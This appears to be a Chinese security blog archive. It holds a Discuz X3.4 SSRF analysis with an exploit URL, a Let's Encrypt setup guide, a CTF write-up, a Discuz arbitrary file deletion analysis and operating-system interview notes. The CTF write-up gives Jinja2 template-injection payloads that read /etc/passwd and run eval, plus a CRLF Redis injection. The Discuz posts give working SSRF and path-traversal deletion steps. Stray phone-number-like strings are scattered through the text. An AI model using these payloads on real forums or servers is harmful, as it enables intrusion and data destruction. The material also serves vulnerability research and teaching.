DiscuzX3.4 SSRF

909-709-7566Discuz X3.4 SSRF

很早之前分析的,现在发出来吧
disucz 的一个更新[(815) 219-5630]

0x00 漏洞描述
在forum_ajax.php下有这样的话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
} elseif($_GET['action'] == 'setthreadcover') {
$aid = intval($_GET['aid']);
$imgurl = $_GET['imgurl'];
require_once libfile('function/post');
if($_G['forum'] && ($aid || $imgurl)) {
if($imgurl) {
$tid = intval($_GET['tid']);
$pid = intval($_GET['pid']);
} else {
$threadimage = C::t('forum_attachment_n')->fetch('aid:'.$aid, $aid);
$tid = $threadimage['tid'];
$pid = $threadimage['pid'];
}
if($tid && $pid) {
$thread =get_thread_by_tid($tid);
} else {
$thread = array();
}
if(empty($thread) || (!$_G['forum']['ismoderator'] && $_G['uid'] != $thread['authorid'])) {
if($_GET['newthread']) {
showmessage('set_cover_faild', '', array(), array('msgtype' => 3));
} else {
showmessage('set_cover_faild', '', array(), array('closetime' => 3));
}
}
if(setthreadcover($pid, $tid, $aid, 0, $imgurl)) {
if(empty($imgurl)) {
C::t('forum_threadimage')->delete_by_tid($threadimage['tid']);
C::t('forum_threadimage')->insert(array(
'tid' => $threadimage['tid'],
'attachment' => $threadimage['attachment'],
'remote' => $threadimage['remote'],
));
}

其中setthreadcover()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
function setthreadcover($pid, $tid = 0, $aid = 0, $countimg = 0, $imgurl = '') {
global $_G;
$cover = 0;
if(empty($_G['uid']) || !intval($_G['setting']['forumpicstyle']['thumbheight']) || !intval($_G['setting']['forumpicstyle']['thumbwidth'])) {
return false;
}
if(($pid || $aid) && empty($countimg)) {
if(empty($imgurl)) {
if($aid) {
$attachtable = 'aid:'.$aid;
$attach = C::t('forum_attachment_n')->fetch('aid:'.$aid, $aid, array(1, -1));
} else {
$attachtable = 'pid:'.$pid;
$attach = C::t('forum_attachment_n')->fetch_max_image('pid:'.$pid, 'pid', $pid);
}
if(!$attach) {
return false;
}
if(empty($_G['forum']['ismoderator']) && $_G['uid'] != $attach['uid']) {
return false;
}
$pid = empty($pid) ? $attach['pid'] : $pid;
$tid = empty($tid) ? $attach['tid'] : $tid;
$picsource = ($attach['remote'] ? $_G['setting']['ftp']['attachurl'] : $_G['setting']['attachurl']).'forum/'.$attach['attachment'];
} else {
$attachtable = 'pid:'.$pid;
$picsource = $imgurl;
}
$basedir = !$_G['setting']['attachdir'] ? (DISCUZ_ROOT.'./data/attachment/') : $_G['setting']['attachdir'];
$coverdir = 'threadcover/'.substr(md5($tid), 0, 2).'/'.substr(md5($tid), 2, 2).'/';
dmkdir($basedir.'./forum/'.$coverdir);
require_once libfile('class/image');
$image = new image();
/ 这里存在ssrf
if($image->Thumb($picsource, 'forum/'.$coverdir.$tid.'.jpg', $_G['setting']['forumpicstyle']['thumbwidth'], $_G['setting']['forumpicstyle']['thumbheight'], 2)) {
$remote = '';
if(getglobal('setting/ftp/on')) {
if(ftpcmd('upload', 'forum/'.$coverdir.$tid.'.jpg')) {
$remote = '-';
}
}
$cover = C::t('forum_attachment_n')->count_image_by_id($attachtable, 'pid', $pid);
if($imgurl && empty($cover)) {
$cover = 1;
}
$cover = $remote.$cover;
} else {
return false;
}
}
if($countimg) {
if(empty($cover)) {
$thread = C::t('forum_thread')->fetch($tid);
$oldcover = $thread['cover'];
$cover = C::t('forum_attachment_n')->count_image_by_id('tid:'.$tid, 'pid', $pid);
if($cover) {
$cover = $oldcover < 0 ? '-'.$cover : $cover;
}
}
}
if($cover) {
C::t('forum_thread')->update($tid, array('cover' => $cover));
return true;
}
}

而通过这里的image类是可以ssrf的
而修复后很暴力直接将存在imgurl的返回true。走不到image类
而image类是可以进行请求的
这里存在的ssrf
注意这里需要

1
if($tid && $pid) {

设置tid和pid不为0

0x01 利用方式

  1. 注册一个账号
  2. 用这个账号在随便一个地方发帖子
  3. 在vps运行nc -lvvp 2333
  4. 访问
    1
    /forum.php?mod=ajax&action=setthreadcover&tid=408&pid=1&imgurl=/1.1.1.1/302.php%3furl%3ddict%253a%252f%252f1.1.1.1%253a2333%252fT1m0n233233

博客https搭建

博客https搭建

0x01 简单描述

首先我采用的是免费的https证书Let’s Encrypt
自动化脚本地址780-944-2471

0x01 安装步骤

  1. 首先去选择好版本。这里选择nginx+ubuntu16.04
    运行以下脚本

    1
    2
    3
    4
    5
    $ sudo apt-get update
    $ sudo apt-get install software-properties-common
    $ sudo add-apt-repository ppa:certbot/certbot
    $ sudo apt-get update
    $ sudo apt-get install python-certbot-nginx
  2. 停止nginx

    1
    service nginx stop
  3. 生成证书

    1
    certbot certonly --standalone --email your@email.com -d yourdomain.com
  4. 在下面的文件夹中生成了证书

    1
    2
    3
    4
    5
    6
    7
    Congratulations! Your certificate and chain have been saved at:
    /etc/letsencrypt/live/youdomain.com/fullchain.pem
    Your key file has been saved at:
    /etc/letsencrypt/live/yourdomain.com/privkey.pem
    /etc/letsencrypt/live/blog.t1m00n.tk/fullchain.pem
    /etc/letsencrypt/live/yourdomain.com/privkey.pem
  5. 配置nginx
    参考一个在线网站,直接复制即可
    nginxconfig
    其中,80端口跳转增加

    1
    rewrite ^(.*) /$server_name$1 permanent;
  6. 重启nginx

绿盟安全研究员笔试(web方向一道有意思的CTF)

913-342-5703绿盟安全研究员笔试题目

22480261160x00 描述

终于想到了要更新下博客了
作为一个web狗只会做web题目
题目只给了一个ip
要求把自己的名字加到候选人名单

618-290-96730x01 信息收集

开放5000 和22 端口
5000 是web服务

0x01 利用

step 1

爆破了一天admin的密码,最终爆破出来的admin密码是nsfocus

step 2

登录后发现 没有啥用,仔细观看发现cookie有个username=admin的cookie
修改后发现疑似格式化字符串漏洞

测试漏洞发现存在jinjia2任意代码执行
读/etc/passwd

1
username={{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}};

707-647-8588step 3

本来想的是直接命令执行,结果发现主要函数都被ban了。如图


那就读源码,这里不能直接读,需要读pyc文件进行还原。这里转成了hex

1
username={{[].__class__.__base__.__subclasses__()[40]('/opt/src/nsctf/websec/views.pyc','rb').read().encode('hex')}}; sessionid=8tod6wf9ufy71q5qce2r0jzgi6q57p93

step 4

这里发现候选人名单是redis里面的
也就是要进行ssrf
这里的MD5的密码是flag=w3ll_d0ne
感觉是http头注入
测试发现,不能ssrf。但是相同环境本地可以ssrf
本地payload如下

1
/127.0.0.1%0D%0A%2a3%0D%0A%245%0D%0Arpush%0D%0A%2410%0D%0Acandidates%0D%0A%245%0D%0At1m0n%0D%0A:6379/foo

215-414-9000step 5

卡了很久。最后想到了如果包含views.py 通过REDIS把自己名字加进去也可以
于是这样利用
最后的利用如下

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("sys").path.append("/opt/src/nsctf/websec")') }}{{ b['eval']('__import__("views").REDIS.rpush(u"candidates","T1m0n")') }}{% endif %}{% endif %}{%endfor%}{% endif %}{% endfor %};

Discuz X3.4 任意文件删除分析

Discuz X3.4 任意文件删除

0x00 发现安全性升级

根据dz的更新(306) 923-9150
发现删掉了几行于是开始进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if($_GET['deletefile'] && is_array($_GET['deletefile'])) {
foreach($_GET['deletefile'] as $key => $value) {
if(isset($_G['cache']['profilesetting'][$key]) && $_G['cache']['profilesetting'][$key]['formtype'] == 'file') {
- @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
- @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $setarr[$key] = '';
}
}
@@ -215,17 +213,14 @@ if(submitcheck('profilesubmit')) {
$attach['attachment'] = dhtmlspecialchars(trim($attach['attachment']));
if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
if(isset($verifyinfo['field'][$key])) {
- @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
}
continue;
}
if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
- @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
continue;
}
- @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
$setarr[$key] = $attach['attachment'];
}

951-207-28840x01 漏洞分析

phpstrom + xdebug 进行分析

upload/source/include/spacecp/spacecp_profile.php

从删掉的代码打断点进行调试
发现180行的代码中

1
2
3
if(isset($_G['cache']['profilesetting'][$key]) && $_G['cache']['profilesetting'][$key]['formtype'] == 'file') {
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);

而打印全部的(800多行不复制)

1
$_G['cache']['profilesetting'][$key]

发现formtype没有等于file的
接着跟进下面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
if($_FILES) {
$upload = new discuz_upload();
foreach($_FILES as $key => $file) {
if(!isset($_G['cache']['profilesetting'][$key])) {
continue;
}
$field = $_G['cache']['profilesetting'][$key];
if((!empty($file) && $file['error'] == 0) || (!empty($space[$key]) && empty($_GET['deletefile'][$key]))) {
$value = '1';
} else {
$value = '';
}
if(!profile_check($key, $value, $space)) {
profile_showerror($key);
} elseif($field['size'] && $field['size']*1024 < $file['size']) {
profile_showerror($key, lang('spacecp', 'filesize_lessthan').$field['size'].'KB');
}
$upload->init($file, 'profile');
$attach = $upload->attach;
if(!$upload->error()) {
$upload->save();
if(!$upload->get_image_info($attach['target'])) {
@unlink($attach['target']);
continue;
}
$setarr[$key] = '';
$attach['attachment'] = dhtmlspecialchars(trim($attach['attachment']));
if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
if(isset($verifyinfo['field'][$key])) {
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
}
continue;
}
if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
continue;
}
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
$setarr[$key] = $attach['attachment'];
}
}
}

这里的$space[$key]我们可控。也就是可以删除任意的文件。
但是查看前后的代码发现
首先要进

1
if($_FILES)

所以利用时候需要一个文件进行触发
接着跟进发现

1
$upload->get_image_info($attach['target']

而这里,控制了文件需要是个图片,从而保证不触发continue

(579) 229-40400x02 漏洞利用

这个漏洞首先要将$space[$key]改成我们要的文件
而$space[$key]其实是用户输入的一个可控点
所以这里我吧用户的真实姓名修改为 ../../../robots.txt
然后进行保存

之后再html里面将

1
<input name="realname" class="px" value="" tabindex="1" type="text">

修改为

1
<input name="realname" class="px" value="" tabindex="1" type="file">

然后上传个图片就可以删掉 ../../../robots.txt

(803) 644-78090x03 总结

这个漏洞之前有个很相似的。应该是没有修复彻底。
第一次跟进一个0day顺手还挖了一个src 。XD

面试知识点3--操作系统

这篇没有总结完,不是很整齐

什么是操作系统

  1. 用户角度,操作系统是一个控制软件
  2. 管理应用程序
  3. 为应用程序提供服务
  4. 杀死应用程序

  5. 资源管理

  6. 管理外设,分配资源

937-327-5526操作系统的架层次结构

硬件之上
应用程序之下

646-570-3260操作系统的特点

  1. 并发(并发是一个时间段运行一堆程序,并行是一个时间点)
    计算机系统中同时存在多个运行的程序,需要os管理和调度
  2. 共享
    同时访问
    互斥共享
  3. 虚拟
  4. 异步

操作系统的启动

  1. 启动
    DISK: 存放OS
    BIOS: 基本的I/O处理系统
    Bootloader: 加载OS

    POST(加电自检)
    寻找显卡和执行BIOS

  2. 中断,异常,系统调用
    系统调用(来源于应用程序)

    应用程序主动向操作系统发出服务请求
    

    异常(来源于不良的应用程序)

    非法指令或其他坏的处理状态
    

    中断(来源于外设)

    来自不同硬件设备计时器和网络的中断
    
    • 源头
      • 中断:外设
      • 异常:应用程序意外的行为
      • 系统调用:应用程序请求操作提供服务
    • 处理时间

      • 中断:异步
      • 异常:同步
      • 系统调用:异步或同步
    • 响应

      • 中断: 持续,对用户的应用程序是透明的
      • 异常: 杀死或者退出应用程序
      • 系统调用 : 等待和持续

      4507459858中断

      硬件

    • 设置中断标记[CPU初始化]
      1. 将内部,外部事件设置中断标记
      2. 中断事件ID

        软件

    • 保存当前处理状态
    • 中断服务程序处理
    • 清除中断标记
    • 恢复之前保存的应用状态

      802-438-8109异常:异常编号

    • 保存现场
    • 异常处理
      杀死了产生异常的程序
      重新执行异常指令
    • 恢复现场

      9204418252进程状态变换模型

  3. 运行状态
  4. 就绪状态
  5. 阻塞状态

    可能的状态

    NULL -> New 一个新的进程被产生出来一个执行程序
    New -> Ready 当进程被创建并初始化之后,一切就绪准备运行时,变成就绪状态
    Ready -> Running 处于就绪太的进程被进程调度程序选中后,就分配到处理机上来运行
    Running -> exit 当进程完成或者出错
    Running -> Ready 处于运行状态的进程在其运行过程中,分配给他的处理机时间片用完而让出处理机
    Running -> Blocked : 当进程请求某样东西必须等待时
    Blocked -> Ready: 当进程要等待某时间到来时,他从阻塞状态变成就绪状态

进程状态

2544260742进程的生命期管理
* 进程创建
    * 系统初始化时
    * 用户请求创建一个新进程
    * 正在运行的进程执行了创建进程的系统调用
* 进程运行
* 进程等待
    * 请求并等待系统服务,无法马上完成
    * 启动某种操作,无法马上完成
    * 需要数据没有达到
* 进程唤醒
    * 被阻塞进程需要的资源可被满足
    * 被阻塞进程等待的事件到达
    * 将该进程的PCB插入到就绪队列
* 进程结束
    * 正常退出
    * 错误退出
    * 致命错误
    * 被其他进程所杀

(615) 781-0367进程控制结构

进程控制块

操作系统管理控制进程运行所用的信息集合。操作系统用PCB来描述进程的基本情况以及运行变化的过程,PCB是进程存在的唯一标识

使用进程控制块

进程的创建:为该进程生成一个PCB
进程的终止:回收他的PCB
进程的组织管理:通过对PCB的卒中管理来实现

PCB含有一下三类信息

  1. 进程标识信息
    本进程的标识,本进程的产生者标识(父进程);用户标识
  2. 处理机状态信息保存区。保存进程的运行现场信息
    • 用户可见寄存器。 用户程序可以使用的数据,地址寄存器
    • 控制和状态寄存器。 如程序计数器PC,程序状态字PSW
    • 栈指针 过程调用/系统调用/终端处理和返回时需要用到它
  3. 进程的控制信息
    • 调度和状态信息,用于操作系统调度进程并且占用处理机使用
    • 进程间进行通信信息, 为支持进程间与通信相关的各种标识,信号,信件等。这些信息存放在接收方的进程控制块中
    • 存储管理信息,包含有指向本进程映像空间的数据结构
    • 进程所用资源,说明由进程打开,使用的系统资源,打开的文件等
    • 有关数据结构连接信息,进程可以连接到一个进程队列中,或者连接到相关的其他进程的PCB

PCB的组织方式

  1. 链表
    同一状态的进程其PCB成一链表,对多个不同的链表
  2. 索引表
    同一状态的进程归入一个index表(由index指向PCB),多个状态对应多个不同的index表

进程的特点

  1. 动态性:课动态创建,结束进程
  2. 并发性,进程可以被独立的调度并占用处理机运行
  3. 独立性:不同进程的工作不相互影响
  1. 进程的有哪几种状态,状态转换图,及导致转换的事件。

    • 进程创建
      (1). 系统初始化时
      (2). 用户请求创建一个新进程
      (3). 正在运行的进程执行了创建进程的系统调用
    • 进程运行
    • 进程等待
      (1). 请求并等待系统服务,无法马上完成
      (2). 启动某种操作,无法马上完成
      (3). 需要数据没有达到
    • 进程唤醒
      (1). 被阻塞进程需要的资源可被满足
      (2). 被阻塞进程等待的事件到达
      (3). 将该进程的PCB插入到就绪队列
    • 进程结束
      (1). 正常退出
      (2). 错误退出
      (3). 致命错误
      (4). 被其他进程所杀
  2. 进程与线程,协程的区别。
    知乎
    进程和线程都是一个时间段的描述,是CPU工作时间段的描述。

    CPU看来所有的任务都是一个一个的轮流执行的,具体的轮流方法就是:先加载程序A的上下文,然后开始执行A,保存程序A的上下文,调入下一个要执行的程序B的程序上下文,然后开始执行B,保存程序B的上下文
    进程就是包换上下文切换的程序执行时间总和 = CPU加载上下文+CPU执行+CPU保存上下文

    线程:
    进程的颗粒度太大,每次都要有上下的调入,保存,调出。如果我们把进程比喻为一个运行在电脑上的软件,那么一个软件的执行不可能是一条逻辑执行的,
    必定有多个分支和多个程序段,就好比要实现程序A,实际分成 a,b,c等多个块组合而成。
    那么这里具体的执行就可能变成:程序A得到CPU => CPU加载上下文,开始执行程序A的a小段,
    然后执行A的b小段,然后再执行A的c小段,最后CPU保存A的上下文。这里a,b,c的执行是共享了A的上下文,
    CPU在执行的时候没有进行上下文切换的。这里的a,b,c就是线程,也就是说线程是共享了进程的上下文环境,的更为细小的CPU时间段。

    如果连时钟阻塞、 线程切换这些功能我们都不需要了,自己在进程里面写一个逻辑流调度的东西。
    那么我们即可以利用到并发优势,又可以避免反复系统调用,还有进程切换造成的开销,分分钟给你上几千个逻辑流不费力。
    这就是用户态线程。
    从上面可以看到,实现一个用户态线程有两个必须要处理的问题:
    一是碰着阻塞式I\O会导致整个进程被挂起;二是由于缺乏时钟阻塞,进程需要自己拥有调度线程的能力。
    如果一种实现使得每个线程需要自己通过调用某个方法,主动交出控制权。
    那么我们就称这种用户态线程是协作式的,即是协程。

  3. 进程通信的几种方式。
    消息传递(管道、FIFO、消息队列)
    同步(互斥量、条件变量、读写锁、文件和写记录锁、信号量)
    共享内存(匿名的和具名的)
    远程过程调用(Solaris门和Sun RPC)

  4. 线程同步几种方式。(一定要会写生产者、消费者问题,完全消化理解)
    临界区
    保证在某一时刻只有一个线程能访问数据的简便办法。在任意时刻只允许一个线程对共享资源进行访问。如果有多个线程试图同时访问临界区,那么 在有一个线程进入后其他所有试图访问此临界区的线程将被挂起,并一直持续到进入临界区的线程离开。临界区在被释放后,其他线程可以继续抢占,并以此达到用原子方式操 作共享资源的目的。
    互斥区、事件、信号量四种方式
    临界区(Critical Section)、互斥量(Mutex)、信号量(Semaphore)、事件(Event)的区别

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    import time
    def consumer():
    r = ''
    while True:
    n = yield r
    if not n:
    return
    print('[CONSUMER] Consuming %s...' % n)
    time.sleep(1)
    r = '200 OK'
    def produce(c):
    c.next()
    n = 0
    while n < 5:
    n = n + 1
    print('[PRODUCER] Producing %s...' % n)
    r = c.send(n)
    print('[PRODUCER] Consumer return: %s' % r)
    c.close()
    if __name__ == '__main__':
    c = consumer()
    produce(c)
  5. 线程的实现方式. (也就是用户线程与内核线程的区别)

  6. 用户态和核心态的区别。

  7. 用户栈和内核栈的区别。

  8. 内存池、进程池、线程池。(c++程序员必须掌握)

  9. 死锁的概念,导致死锁的原因.

  10. 导致死锁的四个必要条件。
    死锁产生的4个必要条件:

互斥使用(Mutual exclusion)
指进程对所分配到的资源进行排它性使用,即在一段时间内某资源只由一个进程占用。如果此时还有其它进程请求资源,则请求者只能等待,直至占有资源的进程用毕释放。

不可抢占(No preemption)
指进程已获得的资源,在未使用完之前,不能被剥夺,只能在使用完时由自己释放。

请求和保持(Hold and wait)
指进程已经保持至少一个资源,但又提出了新的资源请求,而该资源已被其它进程占有,此时请求进程阻塞,但又对自己已获得的其它资源保持不放。
循环等待(Circular wait) 指在发生死锁时,必然存在一个进程——资源的环形链,即进程集合{P0,P1,P2,···,Pn}中的P0正在等待一个P1占用的资源;P1正在等待P2占用的资源,……,Pn正在等待已被P0占用的资源。

  1. 处理死锁的四个方式。

  2. 预防死锁的方法、避免死锁的方法。

  3. 进程调度算法。

  4. Windows内存管理的方式(块式、页式、段式、段页式).

  5. 内存连续分配方式采用的几种算法及各自优劣。

  6. 动态链接及静态链接.

  7. 基本分页、请求分页储存管理方式。

  8. 基本分段、请求分段储存管理方式。

  9. 分段分页方式的比较各自优缺点。

  10. 几种页面置换算法,会算所需换页数。(LRU用程序如何实现?)

  11. 虚拟内存的定义及实现方式。

  12. 操作系统的四个特性。

  13. DMA。

  14. Spooling。

  15. 外存分配的几种方式,及各种优劣。

  16. 进程线程协程